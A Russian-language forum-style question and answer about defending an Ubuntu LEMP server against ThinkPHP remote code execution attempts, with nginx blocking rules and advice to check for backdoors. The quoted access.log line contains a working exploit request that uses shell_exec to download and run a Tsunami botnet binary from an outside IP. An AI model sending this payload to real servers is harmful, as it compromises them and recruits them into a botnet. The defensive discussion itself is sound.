Недавно я понял, что мой сервер Ubuntu (LEMP) стал целью атак удаленного выполнения кода. С точки зрения access.log файлы могут выглядеть так:
183.82.248.85 - - [06/Mar/2019:19:12:21 +0530] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://178.128.192.144/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Tsunami/2.0"
Я использую Failban, Cloudflare и CSF. Я хочу знать, есть ли другие возможности заблокировать такую атаку с помощью fail2ban
? Если бы мне удалось заблокировать такие атаки, я бы заблокировал эти IP-адреса из CloudFlare WAF.
Что ж, я верю, что fail2ban
не верный способ решить описанный вами флуд. Хотя есть способ, как это сделать (см. Статью Вот).
Я хотел бы сказать, что подобные атаки должны иметь очень большой пул IP-адресов. И блокировка IP-адресов вместо блокировки шаблона поведения не является полным решением.
В вашем конкретном случае вы можете продолжить подход к блокировке UserAgent и шаблонов местоположения.
Например:
location / {
if ($http_user_agent ~ (tsunami) ) {
return 403;
}
if ($query_string ~ "call_user_func_array" ) {
return 403;
}
...
}
И я также хотел бы предложить убедиться, что на вашем сервере нет червей и бэкдоров (netstat -lntp
например покажет все открытые порты и службы, которые их используют).